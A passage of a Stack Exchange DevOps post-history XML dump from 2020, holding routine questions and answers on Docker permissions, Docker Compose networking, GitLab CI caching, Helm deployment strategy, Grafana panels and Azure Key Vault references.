&quot;independent app&quot; could (and probably should) have its own docker-compose and/or Dockerfiles, but you may find synergies with certain Dockerfiles that you can create custom `command:` instructions for (such as the git_repo_clone example) to be used &amp; shared across multiple &quot;apps&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="38301" PostHistoryTypeId="2" PostId="12469" RevisionGUID="bcb8538b-d618-46a7-9372-4b209cb491c6" CreationDate="2020-09-23T08:56:58.557" UserId="23837" Text="I have an interesting problem with node, docker-compose and local development using bind mounts.&#xD;&#xA;&#xD;&#xA;I have a bind mount volume, called www-public, owned by my host node user (I created a node user and chowned the dir to node:node). The container (official node) is set up so it also run as node user. At some point in my node app, i need to write to this folder and i get the permission error. This seems strange at first, but it makes sense, because i figured then, that my host nodeuser has an uid of 1001 while my container node user has an id of 1000. If i just add this line to my Dockerfile:&#xD;&#xA;&#xD;&#xA;    RUN usermod -u 1001 node &amp;&amp; groupmod -g 1001 node&#xD;&#xA;&#xD;&#xA;The permission problem goes away.&#xD;&#xA;&#xD;&#xA;How do i fix this in a way, that I don't hard code the container node user id to match the node user id on the host like i did with the upper RUN command." ContentLicense="CC BY-SA 4.0" />
  <row Id="38302" PostHistoryTypeId="1" PostId="12469" RevisionGUID="bcb8538b-d618-46a7-9372-4b209cb491c6" CreationDate="2020-09-23T08:56:58.557" UserId="23837" Text="Dockerized node.js and bind mount permission problem" ContentLicense="CC BY-SA 4.0" />
  <row Id="38303" PostHistoryTypeId="3" PostId="12469" RevisionGUID="bcb8538b-d618-46a7-9372-4b209cb491c6" CreationDate="2020-09-23T08:56:58.557" UserId="23837" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;node.js&gt;&lt;permissions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38306" PostHistoryTypeId="2" PostId="12470" RevisionGUID="07d2c75e-a013-49e3-9765-5b5ee42c66ae" CreationDate="2020-09-23T12:04:03.267" UserId="17329" Text="I am trying to create a dashboad out of process_uptime_seconds{namespace=&quot;$namespace&quot;} querry from Spring Actuator. and Prometheus as datasource I am trying to build a single stat box menus that will show the status, but for  each value from the request. So instead of singlestat I have tried using Status Panel. However I keep getting a single box generated. How can I create dynamically a separate box for each entry from the returned object?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38307" PostHistoryTypeId="1" PostId="12470" RevisionGUID="07d2c75e-a013-49e3-9765-5b5ee42c66ae" CreationDate="2020-09-23T12:04:03.267" UserId="17329" Text="Grafana Status Panel Plugin - genereate status box for each entry from a Prometheus querry" ContentLicense="CC BY-SA 4.0" />
  <row Id="38308" PostHistoryTypeId="3" PostId="12470" RevisionGUID="07d2c75e-a013-49e3-9765-5b5ee42c66ae" CreationDate="2020-09-23T12:04:03.267" UserId="17329" Text="&lt;prometheus&gt;&lt;grafana&gt;&lt;spring-boot&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38309" PostHistoryTypeId="2" PostId="12471" RevisionGUID="4542d19e-418c-476b-84d0-15f1ef0bba62" CreationDate="2020-09-23T13:12:46.723" UserId="24062" Text="I want to rollout software to clients (1m+) devices in a gradual fashion due to high risk. Ideally i would be able to target users based on analytical data i posses and decide if they should receive the upgrade. &#xA;Currently we are using our homegrown server calls but they don’t hook to any analytics. &#xA;Ive done quite a bit of research and haven’t found venders providing this type of functionality. &#xA;Are there platforms (sort of like the “app store”) which have ways to gradually rollout updates to client machines?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38310" PostHistoryTypeId="1" PostId="12471" RevisionGUID="4542d19e-418c-476b-84d0-15f1ef0bba62" CreationDate="2020-09-23T13:12:46.723" UserId="24062" Text="Gradual rollout management for client applications" ContentLicense="CC BY-SA 4.0" />
  <row Id="38311" PostHistoryTypeId="3" PostId="12471" RevisionGUID="4542d19e-418c-476b-84d0-15f1ef0bba62" CreationDate="2020-09-23T13:12:46.723" UserId="24062" Text="&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;versioning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38312" PostHistoryTypeId="2" PostId="12472" RevisionGUID="2990a1d2-fcfe-4fc8-964b-ab502f7b7aef" CreationDate="2020-09-23T13:37:26.020" UserId="17329" Text="So far I have upgraded from 6.6 to 7 and switched to the new Stat panel that managed to visualize properly. The limitation I was trying to avoid is that I can't  control fonts." ContentLicense="CC BY-SA 4.0" />
  <row Id="38313" PostHistoryTypeId="50" PostId="8724" RevisionGUID="dc58b515-4851-4144-a6e3-95c54b1658b4" CreationDate="2020-09-23T14:02:35.283" UserId="-1" />
  <row Id="38314" PostHistoryTypeId="2" PostId="12473" RevisionGUID="09d8d4ea-a6fd-43eb-a4db-40b631a2e649" CreationDate="2020-09-23T15:25:13.213" UserId="6258" Text="The Compose syntax [allows you to specify][1] `user: &lt;uid&gt;:&lt;gid&gt;` in the service's configuration block.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: &quot;3&quot;&#xD;&#xA;services:&#xD;&#xA;  node-service:&#xD;&#xA;    image: node&#xD;&#xA;    user: 1001:1001&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This will run the container as UID 1001 and GID 1001.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/compose-file/#domainname-hostname-ipc-mac_address-privileged-read_only-shm_size-stdin_open-tty-user-working_dir" ContentLicense="CC BY-SA 4.0" />
  <row Id="38315" PostHistoryTypeId="2" PostId="12474" RevisionGUID="d055bf23-1adf-4eff-8538-6e0d25ef6517" CreationDate="2020-09-23T15:38:50.913" UserId="354" Text="It sounds like you are talking about [Canary Analysis](https://martinfowler.com/bliki/CanaryRelease.html) ? If so, Spinnaker has [deployment based on  canary](https://spinnaker.io/guides/user/canary/) analysis built on, using metrics provided by the application telemetry. To quote the Spinnaker docs:&#xD;&#xA;&#xD;&#xA;&gt; Your application might send performance metrics which are published and available by default. You can also install a monitoring agent to collect more comprehensive metrics, and you can instrument your code to generate further metrics for that agent. In any case, you need to have access to a set of metrics, using some telemetry provider, which Kayenta can then use to make the canary judgment.&#xD;&#xA;Support is built in for Stackdriver, Datadog, Prometheus, Signalfx, and New Relic.&#xD;&#xA;&#xD;&#xA;So, you use Spinnaker as a continuous deployment service and instrument the application with one of the supported mechanisms. Canary analysis can then be done to manage the roll-out of new version." ContentLicense="CC BY-SA 4.0" />
  <row Id="38316" PostHistoryTypeId="2" PostId="12475" RevisionGUID="e05d24c7-8f39-4191-b9f4-1b499769ca61" CreationDate="2020-09-23T15:51:26.000" UserId="16324" Text="There are a number of open source secrets detectors that run via CLI. (Gitrob, trufflehog) However, is there a good way to integrate these that they run on a per PR basis? The use case here would be alerting a developer that they've committed and pushed a secret and surfacing that via Github." ContentLicense="CC BY-SA 4.0" />
  <row Id="38317" PostHistoryTypeId="1" PostId="12475" RevisionGUID="e05d24c7-8f39-4191-b9f4-1b499769ca61" CreationDate="2020-09-23T15:51:26.000" UserId="16324" Text="What is the best way to integrate a open source secrets detector into a deployment pipeline and Github?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38318" PostHistoryTypeId="3" PostId="12475" RevisionGUID="e05d24c7-8f39-4191-b9f4-1b499769ca61" CreationDate="2020-09-23T15:51:26.000" UserId="16324" Text="&lt;jenkins&gt;&lt;cicd&gt;&lt;circleci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38319" PostHistoryTypeId="2" PostId="12476" RevisionGUID="5de466a1-7add-4d5a-b789-8f49c911d931" CreationDate="2020-09-23T17:10:35.360" UserId="23358" Text="I have a gitlab yaml I've been working on for a bit and while everything works it seems like each job takes quite a bit longer than it should. I tend to think the culprit is that npm files are fetched every time rather than sharing the `node_modules` cache between jobs.&#xD;&#xA;&#xD;&#xA;Short of creating my own docker image, how can I optimize this yaml in a way that reduces the bottlenecks ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**gitlab .yaml**&#xD;&#xA;&#xD;&#xA;    image: node:10.19.0 # https://hub.docker.com/_/node/&#xD;&#xA;    # image: node:latest&#xD;&#xA;    &#xD;&#xA;    cache:&#xD;&#xA;      # untracked: true&#xD;&#xA;      key: my-project&#xD;&#xA;      # key: ${CI_COMMIT_REF_SLUG} # per branch&#xD;&#xA;      # key:&#xD;&#xA;      #   files:&#xD;&#xA;      #     - package-lock.json # only update cache when this file changes (not working) @jkr&#xD;&#xA;      paths:&#xD;&#xA;        - .npm/&#xD;&#xA;        - node_modules&#xD;&#xA;        - build&#xD;&#xA;    &#xD;&#xA;    stages:&#xD;&#xA;      - prepare # prepares builds, makes build needed for testing&#xD;&#xA;      - test # uses test:build specifically @jkr&#xD;&#xA;      - build&#xD;&#xA;      - deploy&#xD;&#xA;    &#xD;&#xA;    # before_install:&#xD;&#xA;    &#xD;&#xA;    before_script:&#xD;&#xA;      - npm ci --cache .npm --prefer-offline&#xD;&#xA;    &#xD;&#xA;    prepare:&#xD;&#xA;      stage: prepare&#xD;&#xA;      needs: []&#xD;&#xA;      script:&#xD;&#xA;        - npm install&#xD;&#xA;    &#xD;&#xA;    test:&#xD;&#xA;      stage: test&#xD;&#xA;      needs: [prepare]&#xD;&#xA;      except:&#xD;&#xA;        - schedules&#xD;&#xA;      tags:&#xD;&#xA;        - linux&#xD;&#xA;      script:&#xD;&#xA;        - npm run build:dev&#xD;&#xA;        - npm run test:cicd-deps&#xD;&#xA;        - npm run test:cicd # runs puppeteer tests @jkr&#xD;&#xA;      artifacts:&#xD;&#xA;        reports:&#xD;&#xA;          junit: junit.xml&#xD;&#xA;        paths:&#xD;&#xA;          - coverage/&#xD;&#xA;    &#xD;&#xA;    build-staging:&#xD;&#xA;      stage: build&#xD;&#xA;      needs: [prepare]&#xD;&#xA;      only:&#xD;&#xA;        - schedules&#xD;&#xA;      before_script:&#xD;&#xA;        - apt-get update &amp;&amp; apt-get install -y zip&#xD;&#xA;      script:&#xD;&#xA;        - npm run build:staging&#xD;&#xA;        - zip -r build-staging.zip build&#xD;&#xA;      # cache:&#xD;&#xA;      #   paths:&#xD;&#xA;      #     - build&#xD;&#xA;      #   &lt;&lt;: *global_cache&#xD;&#xA;      #   policy: push&#xD;&#xA;      artifacts:&#xD;&#xA;        paths:&#xD;&#xA;          - build-staging.zip&#xD;&#xA;    &#xD;&#xA;    deploy-serv1:&#xD;&#xA;      stage: deploy&#xD;&#xA;      needs: [build-staging]&#xD;&#xA;      tags: [linux]&#xD;&#xA;      only:&#xD;&#xA;        - schedules&#xD;&#xA;      #   # - branches@gitlab-org/gitlab&#xD;&#xA;      before_script:&#xD;&#xA;        - apt-get update &amp;&amp; apt-get install -y lftp&#xD;&#xA;      script:&#xD;&#xA;        # temporarily using 'verify-certificate no'&#xD;&#xA;        # for more on verify-certificate @jkr: https://www.versatilewebsolutions.com/blog/2014/04/lftp-ftps-and-certificate-verification.html&#xD;&#xA;        # variables do not work with 'single quotes' unless they are &quot;'surrounded by doubles'&quot;&#xD;&#xA;        - lftp -e &quot;set ssl:verify-certificate no; open myserver.org; user $LFTP_USERNAME $LFTP_PASSWORD; mirror --reverse --verbose build/ /var/www/domains/dev/projects/my-project/build/; bye&quot;&#xD;&#xA;      # environment:&#xD;&#xA;      #   name: staging&#xD;&#xA;      #   url: http://dev.myserver.org/projects/my-project/build&#xD;&#xA;      when: manual&#xD;&#xA;      allow_failure: true&#xD;&#xA;    &#xD;&#xA;    build-production:&#xD;&#xA;      stage: build&#xD;&#xA;      needs: [prepare]&#xD;&#xA;      only:&#xD;&#xA;        - schedules&#xD;&#xA;      before_script:&#xD;&#xA;        - apt-get update &amp;&amp; apt-get install -y zip&#xD;&#xA;      script:&#xD;&#xA;        - npm run build:staging&#xD;&#xA;        - zip -r build-prod.zip build&#xD;&#xA;      # cache:&#xD;&#xA;      #   paths:&#xD;&#xA;      #     - build&#xD;&#xA;      #   &lt;&lt;: *global_cache&#xD;&#xA;      #   policy: push&#xD;&#xA;      artifacts:&#xD;&#xA;        paths:&#xD;&#xA;          - build-prod.zip&#xD;&#xA;    &#xD;&#xA;    deploy-serv2:&#xD;&#xA;      stage: deploy&#xD;&#xA;      needs: [build-production]&#xD;&#xA;      tags: [linux]&#xD;&#xA;      only:&#xD;&#xA;        - schedules&#xD;&#xA;        # - master&#xD;&#xA;      before_script:&#xD;&#xA;        - apt-get update &amp;&amp; apt-get install -y lftp&#xD;&#xA;      script:&#xD;&#xA;        - sh deploy-prod&#xD;&#xA;      environment:&#xD;&#xA;        name: production&#xD;&#xA;        url: http://www.my-project.org&#xD;&#xA;      when: manual&#xD;&#xA;      allow_failure: true" ContentLicense="CC BY-SA 4.0" />
  <row Id="38320" PostHistoryTypeId="1" PostId="12476" RevisionGUID="5de466a1-7add-4d5a-b789-8f49c911d931" CreationDate="2020-09-23T17:10:35.360" UserId="23358" Text="devops - Optomizing gitlab cicd pipeline's caching" ContentLicense="CC BY-SA 4.0" />
  <row Id="38321" PostHistoryTypeId="3" PostId="12476" RevisionGUID="5de466a1-7add-4d5a-b789-8f49c911d931" CreationDate="2020-09-23T17:10:35.360" UserId="23358" Text="&lt;jenkins-pipeline&gt;&lt;continuous-integration&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38322" PostHistoryTypeId="6" PostId="12476" RevisionGUID="6e3bc3ed-1e2d-4f98-9188-f1f70ed24fc2" CreationDate="2020-09-23T17:49:11.803" UserId="4115" Comment="removed jenkins-pipieline tag since question has nothing to do with jenkins pipeline" Text="&lt;continuous-integration&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38323" PostHistoryTypeId="2" PostId="12477" RevisionGUID="6dea2d0f-fa4d-418b-b811-66779af21cdd" CreationDate="2020-09-23T18:11:19.557" UserId="22278" Text="So, I actually ended up with the following strategy.&#xD;&#xA;&#xD;&#xA;I separated the charts from the source code. Basically, I have a repository that tracks all the helm charts only&#xD;&#xA;&#xD;&#xA;**Why?**&#xD;&#xA;&#xD;&#xA; 1. I wanted to have a repository representing my cluster(s) so it's easy to rebuild a cluster from it&#xD;&#xA; 2. I also wanted to keep track of the current version deployed. Basically, this repository is the truth of what is exactly deployed on the cluster(s) knowing that it tracks the tag of the docker image that is used for each app, so if I want to go back in time, I could just revert a commit or update the docker tag for one of the apps in this repo&#xD;&#xA; 3. Separation of concerns: developers don't have to care how the app is deployed, they basically only care about how to build a docker image that works&#xD;&#xA;&#xD;&#xA;**How does that work?**&#xD;&#xA;&#xD;&#xA;It depends on the project, but for our API server for ex, we have 3 version online: devel.api.mycompany.com staging.api.mycompany.com api.mycompany.com&#xD;&#xA;&#xD;&#xA; 1. a PR is validated and merged on the app repository&#xD;&#xA; 2. The app CD builds a docker image with a tag = current git sha and pushes it to our private docker registry&#xD;&#xA; 3. The app CD clones our charts repository and update the docker tag version for this app and pushes on the repo&#xD;&#xA; 4. The charts repo receives a push with a commit updating the docker tag of the app&#xD;&#xA; 5. The charts CD runs helm upgrade for this app, which deploys the new pod on the cluster (so using the new docker image version)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*Note: We use [helmfile][1] on the charts repository, so it's easy to update by cluster and by app or all together + runs lint etc etc.*&#xD;&#xA;&#xD;&#xA;Not saying it's the best but we're currently satisfied so hope that helps.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/roboll/helmfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="38324" PostHistoryTypeId="2" PostId="12478" RevisionGUID="d7ae8f41-3c7c-4ff1-b2af-0b631a4e59b9" CreationDate="2020-09-23T22:04:56.737" UserId="24070" Text="I have a private certificate that was generated by azure for a web app for linux containers.  I want to pass this value to my .net core app via the web app configuration settings in the the azure portal.  This is part of a pipeline CI-CD process and the ability to specify Identity Server key values in app configuration helps to keep those values out of the source code.&#xD;&#xA;&#xD;&#xA;PROBLEM&#xD;&#xA;-------&#xD;&#xA;&#xD;&#xA; I keep getting the following error by the setting&#xD;&#xA;&#xD;&#xA;&gt; ❌Key vault Reference&#xD;&#xA;&#xD;&#xA;also shown here:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;I am trying to use the secret value in the format suggested by the [microsoft docs here][2]&#xD;&#xA;I have tried the following formats:&#xD;&#xA;&#xD;&#xA;    @Microsoft.KeyVault(https://myvault.vault.azure.net/secrets/myCertName/versionGUID)&#xD;&#xA;    &#xD;&#xA;    @Microsoft.KeyVault(VaultName=myvault;SecretName=myCertName;SecretVersion=versionGUID)&#xD;&#xA;&#xD;&#xA;ALSO, I have added the web app to the access policies of the azure key vault&#xD;&#xA;&#xD;&#xA;Can someone help me figure out why this error is being thrown?  &#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;&#xD;&#xA;cross posted [here][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/c3NTz.jpg&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/app-service/app-service-key-vault-references#reference-syntax&#xD;&#xA;  [3]: https://devops.stackexchange.com/questions/12478/key-vault-reference-error-in-web-app-configuration-of-azure-portal" ContentLicense="CC BY-SA 4.0" />
  <row Id="38325" PostHistoryTypeId="1" PostId="12478" RevisionGUID="d7ae8f41-3c7c-4ff1-b2af-0b631a4e59b9" CreationDate="2020-09-23T22:04:56.737" UserId="24070" Text="&quot;Key vault reference error&quot; in web app configuration of azure portal" ContentLicense="CC BY-SA 4.0" />
  <row Id="38326" PostHistoryTypeId="3" PostId="12478" RevisionGUID="d7ae8f41-3c7c-4ff1-b2af-0b631a4e59b9" CreationDate="2020-09-23T22:04:56.737" UserId="24070" Text="&lt;azure&gt;&lt;azure-pipelines&gt;&lt;configuration&gt;&lt;key-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38327" PostHistoryTypeId="2" PostId="12479" RevisionGUID="254272b9-dd85-49d3-8d78-4fa4e7670e34" CreationDate="2020-09-24T00:33:51.750" UserId="349" Text="I highly recommend using [npm ci][1] instead of `npm install`. The slow part of installing npm modules is figuring out everything that needs to be installed. If you commit your package-lock.json and use `npm ci`, it skips that part entirely and just looks at your lockfile to download what's needed. It's significantly faster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.npmjs.com/cli/ci.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="38328" PostHistoryTypeId="2" PostId="12480" RevisionGUID="15fa8d15-519a-4f9b-9e27-13b4acf69240" CreationDate="2020-09-24T00:46:35.223" UserId="349" Text="In your Dockerfile:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ARG UID=1000&#xD;&#xA;ARG GID=1000&#xD;&#xA;&#xD;&#xA;RUN usermod -u $UID node &amp;&amp; groupmod -g $GID node&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then using `docker build`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker build --build-arg UID=$(id -u) --build-arg GID=$(id -g) .&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The `ARG` lines provide defaults. If you leave off the `--build-arg` flags, they will be used. If you do use the `--build-arg` flags values those will be used instead. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38329" PostHistoryTypeId="5" PostId="12433" RevisionGUID="19988d38-3548-428b-a8bf-d29b67193061" CreationDate="2020-09-24T01:44:24.687" UserId="23998" Comment="Added POSTGRES_PASSWORD env var, which is apparently required by the latest image.  I didn't know this until the main issue was solved.  " Text="According to the [Docker Compose Docs: Networking](https://docs.docker.com/compose/networking/): &#xD;&#xA;&#xD;&#xA;&gt; By default Compose sets up a single [network](https://docs.docker.com/engine/reference/commandline/network_create/) for your app. Each container for a service joins the default network and is both *reachable* by other containers on that network, and *discoverable* by them at a hostname identical to the container name. &#xD;&#xA;&gt; &#xD;&#xA;&gt; For example, suppose your app is in a directory called `myapp`, and your `docker-compose.yml` looks like this:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     version: &quot;3&quot;&#xD;&#xA;&gt;     services:&#xD;&#xA;&gt;       web:&#xD;&#xA;&gt;         build: .&#xD;&#xA;&gt;         ports:&#xD;&#xA;&gt;           - &quot;8000:8000&quot;&#xD;&#xA;&gt;         depends_on: &#xD;&#xA;&gt;           - db&#xD;&#xA;&gt;       db:&#xD;&#xA;&gt;         image: postgres&#xD;&#xA;&gt;         environment:&#xD;&#xA;&gt;           POSTGRES_PASSWORD: testpass&#xD;&#xA;&gt;         ports:&#xD;&#xA;&gt;           - &quot;8001:5432&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; When you run docker-compose up, the following happens:&#xD;&#xA;&gt; &#xD;&#xA;&gt; &#xD;&#xA;&gt;  - A network called `myapp_default` is created. &#xD;&#xA;&gt;  - A container is created using `web`’s configuration. It joins the network `myapp_default` under the name `web`. &#xD;&#xA;&gt;  - A container is created using `db`’s configuration. It joins the network `myapp_default` under the name `db`.&#xD;&#xA;&#xD;&#xA;I put that exact `docker-compose.yml` in a directory with this `Dockerfile`: &#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN ping -c 1 db&#xD;&#xA;&#xD;&#xA;When I run `docker-compose up`, I get a connection error to the db container.  &#xD;&#xA;&#xD;&#xA;    $ docker-compose up&#xD;&#xA;    Building web&#xD;&#xA;    Step 1/2 : FROM alpine&#xD;&#xA;    latest: Pulling from library/alpine&#xD;&#xA;    df20fa9351a1: Pull complete&#xD;&#xA;    Digest: sha256:185518070891758909c9f839cf4ca393ee977ac378609f700f60a771a2dfe321&#xD;&#xA;    Status: Downloaded newer image for alpine:latest&#xD;&#xA;     ---&gt; a24bb4013296&#xD;&#xA;    Step 2/2 : RUN ping -c 1 db&#xD;&#xA;     ---&gt; Running in cf64bfcb72eb&#xD;&#xA;    ping: bad address 'db'&#xD;&#xA;    ERROR: Service 'web' failed to build : The command '/bin/sh -c ping -c 1 db' returned a non-zero code: 1&#xD;&#xA;&#xD;&#xA;If I put a node app in the Dockerfile, I can't make database connections to the db URI at `postgres://postgres:postgres@db/postgres` either.  &#xD;&#xA;&#xD;&#xA;I've tried using `links` and `depends_on` as well as the `healthcheck` for postgres advised in other SE answers.  (EDIT: Added `depends_on` to compose file).  Nothing has worked.  Why can't I connect to the `db` container?  " ContentLicense="CC BY-SA 4.0" />
  <row Id="38331" PostHistoryTypeId="2" PostId="12482" RevisionGUID="1edd4421-e34a-4ef6-aeb4-da20eed11636" CreationDate="2020-09-24T06:21:25.633" UserId="23443" Text="How do I push [this image][1] to `docker hub`?&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker images helloworld_web&#xD;&#xA;    REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;    helloworld_web      latest              3118807ab0e0        5 minutes ago       196MB&#xD;&#xA;    root $ &#xD;&#xA;&#xD;&#xA;It's just the [sample][2] from `docker`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/repository/docker/nicksaunders/helloworld&#xD;&#xA;  [2]: https://docs.docker.com/compose/gettingstarted/" ContentLicense="CC BY-SA 4.0" />
  <row Id="38332" PostHistoryTypeId="1" PostId="12482" RevisionGUID="1edd4421-e34a-4ef6-aeb4-da20eed11636" CreationDate="2020-09-24T06:21:25.633" UserId="23443" Text="how to push an image to docker hub?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38333" PostHistoryTypeId="3" PostId="12482" RevisionGUID="1edd4421-e34a-4ef6-aeb4-da20eed11636" CreationDate="2020-09-24T06:21:25.633" UserId="23443" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;containers&gt;&lt;images&gt;&lt;dockerhub&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38334" PostHistoryTypeId="2" PostId="12483" RevisionGUID="7fcc778f-abb7-4abc-9c41-4900979fde7c" CreationDate="2020-09-24T06:28:36.590" UserId="23443" Text="horribly insecure:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker login&#xD;&#xA;    Login with your Docker ID to push and pull images from Docker Hub. If you don't have a Docker ID, head over to https://hub.docker.com to create one.&#xD;&#xA;    Username: nicksaunders&#xD;&#xA;    Password: &#xD;&#xA;    WARNING! Your password will be stored unencrypted in /root/snap/docker/471/.docker/config.json.&#xD;&#xA;    Configure a credential helper to remove this warning. See&#xD;&#xA;    https://docs.docker.com/engine/reference/commandline/login/#credentials-store&#xD;&#xA;    &#xD;&#xA;    Login Succeeded&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker images&#xD;&#xA;    REPOSITORY                   TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;    helloworld_web               latest              3118807ab0e0        13 minutes ago      196MB&#xD;&#xA;    frappe/erpnext-nginx         latest              e417869e11ba        39 hours ago        414MB&#xD;&#xA;    frappe/erpnext-worker        latest              96559438dfec        40 hours ago        1.22GB&#xD;&#xA;    frappe/frappe-nginx          latest              3d006c375c6e        40 hours ago        410MB&#xD;&#xA;    frappe/frappe-worker         latest              961988528953        40 hours ago        1GB&#xD;&#xA;    frappe/frappe-socketio       latest              bca49f1b4a04        40 hours ago        180MB&#xD;&#xA;    frappe/bench                 latest              8c1bc9d3a572        40 hours ago        1.4GB&#xD;&#xA;    frappe/erpnext-docs-nginx    latest              7d117e2bd798        42 hours ago        428MB&#xD;&#xA;    frappe/erpnext-docs-worker   latest              a1c0b0511e92        42 hours ago        2.88GB&#xD;&#xA;    frappe/erpnext-worker        &lt;none&gt;              09be9dde8f8f        2 days ago          1.21GB&#xD;&#xA;    frappe/bench                 &lt;none&gt;              c775a49dee59        2 days ago          1.4GB&#xD;&#xA;    redis                        alpine              bd71e6db4a54        13 days ago         32.2MB&#xD;&#xA;    python                       3.7-alpine          295b051ee125        2 weeks ago         41.7MB&#xD;&#xA;    basex/basexhttp              latest              3339bf6bc898        3 weeks ago         226MB&#xD;&#xA;    twilio/twilio-java           latest              611ab7ece1cf        5 weeks ago         993MB&#xD;&#xA;    mysql                        latest              0d64f46acfd1        7 weeks ago         544MB&#xD;&#xA;    jetty                        latest              5f997007f18d        7 weeks ago         522MB&#xD;&#xA;    jitsi/web                    latest              1fad75476320        2 months ago        483MB&#xD;&#xA;    mysql/mysql-server           latest              8a3a24ad33be        2 months ago        366MB&#xD;&#xA;    hello-world                  latest              bf756fb1ae65        8 months ago        13.3kB&#xD;&#xA;    lukptr/erpnext7              latest              130f3d9f222f        14 months ago       3.59GB&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker tag helloworld_web nicksaunders/helloworld:firsttry&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker push nicksaunders/helloworld&#xD;&#xA;    The push refers to repository [docker.io/nicksaunders/helloworld]&#xD;&#xA;    fca41575e369: Pushed &#xD;&#xA;    40f0977ea685: Pushing [==================================================&gt;]  12.08MB&#xD;&#xA;    f8b013a4d861: Pushed &#xD;&#xA;    1d6d0bace1b8: Pushing [====&gt;                                              ]  13.03MB/143MB&#xD;&#xA;    aabee2d268fc: Pushed &#xD;&#xA;    22ee430ae506: Waiting &#xD;&#xA;    60faa6c61cf9: Waiting &#xD;&#xA;    cfd52085ef94: Waiting &#xD;&#xA;    408e53c5e3b2: Waiting &#xD;&#xA;    50644c29ef5a: Waiting &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;but [seems][1] to work.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://ropenscilabs.github.io/r-docker-tutorial/04-Dockerhub.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="38335" PostHistoryTypeId="2" PostId="12484" RevisionGUID="204cdb17-57ad-454e-8273-d1d29a7ded3e" CreationDate="2020-09-24T06:32:05.833" UserId="24074" Text="I found this: https://github.com/tiangolo/meinheld-gunicorn-flask-docker after multiple failed attempts to follow along various tutorials on the web to containerize my app to build a CI pipeline.  My app:https://github.com/nyck33/canadian-nutrient-file&#xD;&#xA;&#xD;&#xA;When I forked that app, it used `bin/cnf runserver` as the command to run but I refactored cnf/main.py to run as `python cnf/main.py&quot; to work with the tiangolo image mentioned above.&#xD;&#xA;&#xD;&#xA;Here is my `docker-compose.yml`&#xD;&#xA;```&#xD;&#xA;version: '3'&#xD;&#xA;services:&#xD;&#xA;  flask:&#xD;&#xA;    environment:&#xD;&#xA;      CNF_MONGO_HOST: mongo://db:27017&#xD;&#xA;      MODULE_NAME: cnf.main&#xD;&#xA;    build: . #build from dockerfile&#xD;&#xA;&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;8888:8888&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  db:&#xD;&#xA;    image: mongo:3.6.3&#xD;&#xA;&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;27017:27017&quot;&#xD;&#xA;    command: bash -c &quot;sudo service mongodb start&quot;&#xD;&#xA;```&#xD;&#xA;and the Dockerfile:&#xD;&#xA;```&#xD;&#xA;FROM tiangolo/meinheld-gunicorn-flask:python3.7&#xD;&#xA;&#xD;&#xA;COPY . /app&#xD;&#xA;&#xD;&#xA;COPY /cnf_csv /app/cnf_csv&#xD;&#xA;&#xD;&#xA;RUN python3 bootstrap.py &amp;&amp; \&#xD;&#xA;    bin/buildout&#xD;&#xA;```&#xD;&#xA;So I'm hoping the mongo container starts up and starts listening on port 27017 for connections since that is what is designated in my `settings.py` which looks like:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;import os&#xD;&#xA;import datetime&#xD;&#xA;from urllib.parse import urljoin&#xD;&#xA;&#xD;&#xA;ROOT_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;class Config:&#xD;&#xA;    APP_NAME = &quot;cnf&quot;&#xD;&#xA;    